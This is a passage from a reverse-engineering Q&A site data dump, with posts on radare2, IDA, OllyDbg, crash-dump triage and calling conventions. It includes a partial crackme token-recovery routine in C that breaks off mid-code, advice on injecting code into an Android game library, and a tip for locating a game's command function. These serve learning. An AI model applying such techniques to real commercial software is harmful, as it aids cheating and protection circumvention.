AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11932" PostTypeId="2" ParentId="11925" CreationDate="2016-02-03T16:48:18.907" Score="1" Body="&lt;p&gt;&lt;code&gt;Edit &amp;gt; Segments &amp;gt; Create Segment&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2016-02-03T16:48:18.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11933" PostTypeId="2" ParentId="3274" CreationDate="2016-02-03T16:54:42.517" Score="1" Body="&lt;p&gt;No, you must implement the &lt;code&gt;base + index * scale&lt;/code&gt; yourself (if on i386).  On other architectures without this complexity (e.g. ARM) it is a bit easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps any, I have already implemented this functionality in &lt;a href=&quot;https://github.com/zachriggle/pwndbg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;pwndbg&lt;/code&gt;&lt;/a&gt; for exactly the same purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the implementation here:&#xA;&lt;a href=&quot;https://github.com/zachriggle/pwndbg/blob/master/pwndbg/disasm/x86.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zachriggle/pwndbg/blob/master/pwndbg/disasm/x86.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am not using IDA's API, but rather pwndbg's internal API which relies on GDB.  You will have to make some small changes to the way in which you fetch register and memory values from that code (e.g. &lt;code&gt;pwndbg.regs.pc&lt;/code&gt; gives me the value of EIP or RIP as appropriate).&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2016-02-03T16:54:42.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11935" PostTypeId="2" ParentId="11682" CreationDate="2016-02-03T17:04:08.903" Score="1" Body="&lt;p&gt;It looks like Hexrays does not support this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the instructions for variable-length arrays (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/varstr/index.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/varstr/index.shtml&lt;/a&gt;) shows that it does work for IDA disassembly and Set Type (hotkey Y), but not in the decompiler output (Hexrays).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;  int a;&#xA;  int b;&#xA;  char c[0];&#xA;} foo;&#xA;&#xA;int main() {&#xA;  foo* f = malloc(512);&#xA;  f-&amp;gt;c[123] = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Struct defined in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 struc_1         struc ; (sizeof=0x8, mappedto_1, variable size)&#xA;00000000 a               dd ?&#xA;00000004 b               dd ?&#xA;00000008 c               db 0 dup(?)             ; XREF: main+1D/w&#xA;00000008 struc_1         ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example disassembly after annotation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;and     esp, 0FFFFFFF0h&#xA;sub     esp, 20h&#xA;mov     dword ptr [esp], 200h ; size&#xA;call    _malloc&#xA;mov     [esp+1Ch], eax&#xA;mov     eax, [esp+1Ch]&#xA;mov     [eax+(struc_1.c+7Bh)], 0&#xA;leave&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example decompiled output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  struc_1 *result; // eax@1&#xA;&#xA;  result = (struc_1 *)malloc(0x200u);&#xA;  BYTE3(result[0x10].a) = 0;&#xA;  return (int)&amp;amp;result-&amp;gt;a;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastActivityDate="2016-02-03T17:04:08.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11936" PostTypeId="2" ParentId="11908" CreationDate="2016-02-03T19:18:25.873" Score="1" Body="&lt;p&gt;I cannot help much with the deobfuscation step, as i'm also struggling with that. My best option is to decompile the code and use &lt;a href=&quot;https://www.sublimetext.com/3&quot; rel=&quot;nofollow&quot;&gt;Sublime Text 3&lt;/a&gt; to do the refactoring (its &quot;Add Folder to Project&quot; option also helps a lot in code analysis). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bytecodeviewer.com/&quot; rel=&quot;nofollow&quot;&gt;Bytecode Viewer&lt;/a&gt; will also be helpful as it gives you the output of 5 differente decompilers along with smali output. Might not seem like much, but comparing the outputs side-by-side really speeds up the reading of some &quot;bottleneck region&quot; code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i can offer you is the name of a tool that will aid you in those string decryption and reflection issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.frida.re/&quot; rel=&quot;nofollow&quot;&gt;FRIDA&lt;/a&gt; is a dynamic instrumentation tool for Android apps, letting you add your own code into the application using Javascript. It will let you print decrypted text, tweak the app code so that it gives you more information about the data, etc. &lt;/p&gt;&#xA;" OwnerUserId="9877" LastActivityDate="2016-02-03T19:18:25.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11937" PostTypeId="1" CreationDate="2016-02-03T22:58:05.050" Score="0" ViewCount="240" Body="&lt;p&gt;&lt;strong&gt;Crash analysis:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a large set of crashes, all resulting from access violations, is it possible to (with or without access to symbols and source code) programmatically determine whether the crashes resulted from a bad read from crashes caused by a bad write? My ultimate goal is distinguish buffer overruns from other crashing conditions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more specifically, I would like to be able to separate &lt;strong&gt;corruptions of EIP&lt;/strong&gt; (or similar instruction pointers in other architectures) from other forms of crashes so that I might better separate buffer overflows from a corpus of crashing input files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionally:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tool would you use to instrument this or otherwise automate this process? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that this is not possible since the ultimate source of the crash will be dereferencing a bad address in all cases. Walking back, maybe it is possible to mark all memory allocated to buffers and check whether the crashing address is within a reasonable offset to a buffer. Perhaps I am missing a much simpler way of checking.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record I am doing this on a userland program in a *nix environment. A general purpose answer would be awesome, but I would also be happy to see an array of platform specific answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Don't be afraid to move this to SecuritySE or elsewhere if you think it doesn't belong on RE. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2016-02-04T23:25:08.030" LastActivityDate="2016-02-04T23:25:08.030" Title="Is it possible to programmatically determine if a crash resulted from a buffer overflow?" Tags="|debugging|instrumentation|fuzzing|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11939" PostTypeId="2" ParentId="11937" CreationDate="2016-02-04T06:01:21.810" Score="3" Body="&lt;p&gt;it is not clear if you are using windbg and you have a bunch of .dmp files that you want to auto analyze for access-violation if that is the case you could check this out &lt;/p&gt;&#xA;&#xA;&lt;p&gt;original contents of directory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls -l&#xA;total 96&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 CRASH.DMP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;duplicating the same file 10 times to simulate a bunch of crash dumps&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;for /L %I IN (1,1,10) do copy crash.dmp %I.dmp&#xA;&#xA;:\&amp;gt;copy crash.dmp 1.dmp&#xA;        1 file(s) copied.&#xA;&#xA;--------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;directory contents post duplication&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls -l&#xA;total 1056&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 1.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 10.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 2.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 3.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 4.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 5.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 6.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 7.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 8.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 9.dmp&#xA;-rw-rw-rw-  1 HP 0 96698 2016-01-29 21:27 CRASH.DMP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running cdb with no symbol path to eliminate symbol loading and running a command on each of the file and grepping the result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;for /F %I In ('dir /b') Do cdb -sins -z %I -c &quot;.exr -1;q&quot; | grep -i att&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -sins -z 1.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 10.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 2.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 3.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 4.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 5.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 6.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 7.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 8.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z 9.dmp -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&#xA;:\&amp;gt;cdb -sins -z CRASH.DMP -c &quot;.exr -1;q&quot;   | grep -i att&#xA;Attempt to read from address 0a29f6ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by programmaticlally if you mean writing a tool to open and check each dump &#xA;yes than it is possible to write a standalone exe using the dbgeng function &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-02-04T06:01:21.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11941" PostTypeId="1" CreationDate="2016-02-04T08:04:00.803" Score="2" ViewCount="3732" Body="&lt;p&gt;I am trying to do some static analysis on crackmes written for Windows on a Linux platform. I am using &lt;code&gt;radare2&lt;/code&gt;. My problem is that most of the time I am unable to find the &quot;real&quot; code, for example the main function in a C/C++ application. &lt;a href=&quot;https://stackoverflow.com/questions/5475790/how-to-disassemble-the-main-function-of-a-stripped-application&quot;&gt;Here&lt;/a&gt; is a method for this by looking for a call to &lt;code&gt;__libc_start_main@plt&lt;/code&gt;, but I think this is only for Linux. For Linux executables &lt;code&gt;radare2&lt;/code&gt; usually shows a &lt;code&gt;sym.main&lt;/code&gt; function, but not for Windows executables. In one case I spotted accidentally a &lt;code&gt;sym._main&lt;/code&gt;, but I did not find it in other executables. Is there any method or tool which can solve my problem? I am looking for ideas for approaching both Assembly and C/C++ applications.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-02-05T12:46:01.590" Title="Static analysis of Windows executable from a Linux platform" Tags="|disassembly|windows|linux|radare2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11942" PostTypeId="1" AcceptedAnswerId="11949" CreationDate="2016-02-04T08:13:49.787" Score="3" ViewCount="2505" Body="&lt;p&gt;I have found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8568/how-do-you-tell-radare-to-do-a-full-dump-of-an-x86-binary&quot;&gt;the command&lt;/a&gt; &lt;code&gt;r2 -c 'pi $s'&lt;/code&gt; to dump a binary with radare2. I have tried this redirecting the output to a file: &lt;code&gt;r2 -c 'pi $s' binary &amp;gt; dump.txt&lt;/code&gt;. The dump is created but radare2 gets unresponsive. Is this a bug, or am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-02-04T18:10:54.650" Title="Dumping binary with radare2" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11944" PostTypeId="2" ParentId="11941" CreationDate="2016-02-04T09:17:58.167" Score="0" Body="&lt;p&gt;I would suggest you tried out using OllyDbg with WINE. Kali linux has this combo pre-installed for that puprose and it works in every platform wine supports (ubuntu, open-suse, etc.).&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-02-04T09:17:58.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11945" PostTypeId="2" ParentId="11628" CreationDate="2016-02-04T09:19:33.150" Score="2" Body="&lt;p&gt;In Call of Duty games you can search for the string &quot;xpartygo&quot; and xref that with IDA. That way you'll find Cmd_ExecuteSingleCommand.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2016-02-04T09:19:33.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11946" PostTypeId="2" ParentId="11942" CreationDate="2016-02-04T09:20:49.890" Score="-2" Body="&lt;p&gt;I would suggest you tried working with OllyDbg and WINE. Kali linux has this combo pre-installed in its toolbox. It works fine in many platforms (ubuntu, open-suse, etc).&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-02-04T09:20:49.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11947" PostTypeId="2" ParentId="11941" CreationDate="2016-02-04T09:43:30.490" Score="2" Body="&lt;p&gt;In case of Windows executables, the exe file has to export only the &lt;code&gt;start&lt;/code&gt; entry point. Other entries can be exported also, but the first exported entry will be the starting point of the executable performing initialization actions. It is similar to the Linux case as it was described in your linked method, although the actual implementation of the start function is depend from your compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the symbols are stripped, you can find the &lt;code&gt;main&lt;/code&gt; function by reversing the code from the &lt;code&gt;start&lt;/code&gt;. Since the &lt;code&gt;start&lt;/code&gt; is preforming initialization tasks, you will find the main somewhere near to the end of the &lt;code&gt;start&lt;/code&gt; function. As an example, see the following image showing the main function of the &lt;code&gt;calc.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RvpSQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RvpSQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you see, after the main was called, no more initialization steps is required, so the application can exit by calling the &lt;code&gt;exit&lt;/code&gt; or &lt;code&gt;_cexit&lt;/code&gt; library functions depending on the return value of the &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-02-04T09:43:30.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11948" PostTypeId="2" ParentId="11928" CreationDate="2016-02-04T14:00:34.903" Score="3" Body="&lt;p&gt;Since it is a crackme, I don't want to spoiler the solution, although I try to give some hint, which may help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash function may be MD5 using salt, modified IV or the hash function is used in a different way as you try. However, you neither have to reverse the hash function nor have to find out the exact algorithm. It is because, the crackme calculates the hashes of both the original and the user provided token. So, I think the easiest way if you try to catch the token at the start of the hash function, since at that point it should be in clear text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The string you tried as a token is used somehow for the token decryption. This challenge is more trickier than you can find the solution token in the memory at any time during the execution.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-02-04T14:00:34.903" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="11949" PostTypeId="2" ParentId="11942" CreationDate="2016-02-04T18:10:54.650" Score="7" Body="&lt;p&gt;This is because you're not passing the &lt;code&gt;-q&lt;/code&gt; flag to radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -h | grep -- -q&#xA;-q           quiet mode (no prompt) and quit after -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;-c&lt;/code&gt; flag will execute a command in radare2, and then land you in the radare shell, but since you're redirecting &lt;code&gt;stdout&lt;/code&gt; to a file, you can't see this. But if you hit &lt;code&gt;q&lt;/code&gt; (as in &lt;code&gt;q&lt;/code&gt;uit) and &lt;em&gt;Enter&lt;/em&gt;, radare2 will exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the command that you should use: &lt;code&gt;r2 -q -c 'pi $s' ./a.out &amp;gt; out.txt&lt;/code&gt; if you want radare2 to dump the entire binary, then exit. &lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2016-02-04T18:10:54.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11950" PostTypeId="1" AcceptedAnswerId="11951" CreationDate="2016-02-04T21:48:52.150" Score="1" ViewCount="544" Body="&lt;p&gt;Is there any way to add instructions to a library in IDA? My predicament is that there is no room in a game library (.so ELF, android) to fit my own code. There is an empty bss segment but IDA doesn't like to write to it, and I believe the game needs it for it's variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding additional bytes to the end of the file with a hex editor, and then opening it with IDA, but IDA will not show it possibly because it's not in a segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I make my own library / modify the existing one so that the code segment is larger? My own library would need to be imported by the other library in order to work, I believe, because it needs functions and such from the original library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14722" LastActivityDate="2016-02-04T23:10:19.183" Title="Adding/Finding Places for Instructions - Game Library IDA" Tags="|ida|assembly|android|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11951" PostTypeId="2" ParentId="11950" CreationDate="2016-02-04T23:03:43.053" Score="3" Body="&lt;p&gt;IDA not the most convenient tool for what you're trying to do. There are basically 3 ways to do it, and it seems you're already mentioning all of them in your question :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Search for a code cave big enough to fit your payload&lt;/li&gt;&#xA;&lt;li&gt;Create a new section in your executable with a sufficient size for your payload&lt;/li&gt;&#xA;&lt;li&gt;Proxify your library and add functions or hook existing ones&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now depending on what exactly you're trying to inject and how you're reaching it, each method has its specific pro/cons and will require a different approach. They should all be fairly well documented on the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Without more context/details about what you're trying to do, it's hard to tell you which one to pick though)&lt;/p&gt;&#xA;" OwnerUserId="8679" LastEditorUserId="8679" LastEditDate="2016-02-04T23:10:19.183" LastActivityDate="2016-02-04T23:10:19.183" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11952" PostTypeId="1" CreationDate="2016-02-05T08:28:21.620" Score="1" ViewCount="893" Body="&lt;p&gt;How can I log to file all packet traffic coming from a wss web socket on port 1234 using stunnel, openssl and tcpdump ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already seen &lt;a href=&quot;https://gist.github.com/jeremiahsnapp/6426298#file-stunnel-mitm-proxy-conf&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/jeremiahsnapp/6426298#file-stunnel-mitm-proxy-conf&lt;/a&gt; , but I would like to know how to configure it&lt;/p&gt;&#xA;" OwnerUserId="14964" LastActivityDate="2016-02-05T08:28:21.620" Title="Log to file WSS Websocket packet traffic" Tags="|sniffing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11953" PostTypeId="1" CreationDate="2016-02-05T18:32:07.483" Score="3" ViewCount="2235" Body="&lt;p&gt;I've been looking around at various DLLs on my computer lately and I thought a decent place to start was the image entry point (typically _DllMainCRTStartup). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see of the CRT source code (MSVC) this calls another function (__DllMainCRTStartup) with the same arguments (HMODULE, DWORD, LPVOID). However many of the binaries I've looked at seem to deviate from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  push        dword ptr [ebp+8]&#xA;  mov         ecx,dword ptr [ebp+10h]&#xA;  mov         edx,dword ptr [ebp+0Ch]&#xA;  call        10024E5B // __DllMainCRTStartup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks to be pushing on the first parameter (HMODULE) and then passing the other two via registers ecx/edx. The function being called expects them to be there as well. What I expected to see was all three being pushed on the stack which I believe is how the _cdecl convention works. This is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  push        dword ptr [ebp+10h]&#xA;  push        dword ptr [ebp+0Ch]&#xA;  push        dword ptr [ebp+8]&#xA;  call        3DC40E2E // __DllMainCRTStartup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where the first variant is coming from? Is it an older version of the CRT? Or maybe a different compiler entirely? Bonus if you know what kind of calling convention it is as well, looks like a strange cousin of __fastcall to me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought I'd add the function prototype from the CRT source code (the version that comes with VS 2012 at least)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(noinline)&#xA;BOOL __cdecl&#xA;__DllMainCRTStartup(&#xA;    HANDLE  hDllHandle,&#xA;    DWORD   dwReason,&#xA;    LPVOID  lpreserved&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Editx2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just seen the 'Related' link: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2673/what-x86-calling-convention-passes-first-parameter-via-esi&quot;&gt;What x86 calling convention passes first parameter via ESI?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems this might be a result of LTCG and the linker basically just deciding to do whatever it likes because it knows about all the components!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="14968" LastEditDate="2016-02-05T18:47:40.650" LastActivityDate="2016-02-06T15:11:45.080" Title="Why is this _DllMainCRTStartup calling convention not as expected?" Tags="|windows|dll|calling-conventions|entry-point|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11954" PostTypeId="1" AcceptedAnswerId="11956" CreationDate="2016-02-05T21:54:51.707" Score="0" ViewCount="486" Body="&lt;p&gt;In Ollydbg, if an instruction causes a register to change, it is highlighted red in the registers window in the CPU view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have the same happen in the hex dump or stack windows?  Of course the area of memory being watched would have to have limits, perhaps only what is seen, or between some limits?&lt;/p&gt;&#xA;" OwnerUserId="14858" LastEditorUserId="14858" LastEditDate="2016-02-05T23:04:02.213" LastActivityDate="2016-02-06T05:16:00.443" Title="Can changes in memory (stack or hex dump) be highlighted as are register changes in Ollydbg?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11955" PostTypeId="2" ParentId="11928" CreationDate="2016-02-06T04:58:57.213" Score="2" Body="&lt;p&gt;The token for this program is 57 characters long, and is encrypted using a 200KB lookup table. The cipher text is embedded in the application as 57 dword indices. Anti-debugging is implemented as a simple check against IsDebuggerAttached, which chooses between 57 &lt;em&gt;good&lt;/em&gt; or 57 &lt;em&gt;bad&lt;/em&gt; indices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the app starts the token is decrypted and then hashed one character at a time. Rather than reversing or inspecting the hashing, I was interested in the operation of the lookup table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that indexes the table is run by the application in a separate thread. The thread proc begins at 0x4037A0, however it includes some invalid opcodes to confuse the disassembler. That invalid code is patched up by filling with NOP prior to executing it &lt;em&gt;(see: 0x403998)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table lookup function requires 3 index operations to resolve the encoded key character. Each dword index is modulo 0xc800 to ensure it falls within the 200KB table. The final index operation includes an offset based on the parity of the index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C program that corresponds to the table lookup is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index)&#xA;{&#xA;    unsigned int parity_check = 0, offset = 0;&#xA;    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));&#xA;    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));&#xA;    if (cipher_index != 0) {&#xA;        parity_check = cipher_index;&#xA;        do {&#xA;            if (!parity(parity_check &amp;amp; 0xFF)) offset = ~offset;&#xA;            parity_check = parity_check &amp;gt;&amp;gt; 8;&#xA;        } while (parity_check &amp;gt; 0);&#xA;    }&#xA;    cipher_index = *((unsigned int *)(cipher_table + (4 * ((cipher_index % 0xc800) + (offset &amp;amp; 1)))));&#xA;&#xA;    return ((~cipher_index &amp;amp; 0xFE000000) | cipher_index &amp;amp; 0x01FFFFFF) ^ 0xFE000000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following is a complete key decryption routine in C. It requires the &quot;1.exe&quot; binary, because it reads the 200KB lookup table from it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;const unsigned char xor_data[57] = {&#xA;    0xD1, 0x18, 0x52, 0xF3, 0x4B, 0x29, 0xB5, 0xE6,&#xA;    0x2E, 0x60, 0x10, 0x1B, 0x59, 0x3E, 0x4D, 0xC1,&#xA;    0x27, 0xAB, 0xA4, 0x82, 0x7F, 0x5B, 0x07, 0xA4,&#xA;    0xE3, 0x1C, 0xE3, 0x93, 0x74, 0xBB, 0x3A, 0x62,&#xA;    0x39, 0xE0, 0xDE, 0xE3, 0x85, 0x7A, 0x05, 0x29,&#xA;    0x4F, 0xF1, 0x70, 0x1C, 0x70, 0x5E, 0xB3, 0xBF,&#xA;    0x0A, 0x74, 0x97, 0x49, 0xFB, 0xE4, 0xC8, 0xF6,&#xA;    0x5F &#xA;};&#xA;&#xA;const unsigned int cipher_index[57] = {&#xA;    0xd12479b8, 0x02802dd4, 0x9390b528, 0x6d13be10,&#xA;    0x38637098, 0xadb0df76, 0x492afd8d, 0x6cda8589,&#xA;    0x3f327fb3, 0xb559ed2c, 0x0d379569, 0xee50590a,&#xA;    0xeffc3faf, 0xb183ff7c, 0x4942fe7a, 0x3f9f0383,&#xA;    0xe5e8796e, 0x4acdb7e3, 0x6f7778ac, 0x9cfbd58d,&#xA;    0x5d58a9d4, 0xb53ee0e8, 0x4f0bc8f7, 0x6ddcf35a,&#xA;    0x0b32d6f3, 0xec181a05, 0xebf6aab4, 0x727beb1b,&#xA;    0xd19b1f42, 0x0cd03ae5, 0xc901c555, 0x9e6123ed,&#xA;    0x4805bbd3, 0x0b4e3b5f, 0xe74991a5, 0x16e56a67,&#xA;    0xcdbf9035, 0x0c3fb795, 0x4e46ed21, 0x3098a99c,&#xA;    0x0be2219a, 0x89008aba, 0xd1e8cb77, 0x8d0a0f39,&#xA;    0xbf93eaae, 0xdd1f5179, 0x27aa29da, 0x0687579f,&#xA;    0xe4961b86, 0x00047b96, 0xdf66fc9d, 0xe4ff21b6,&#xA;    0x056c231b, 0xb94a2217, 0x2e385b22, 0xd9315588,&#xA;    0x975aec60&#xA;};&#xA;&#xA;unsigned int 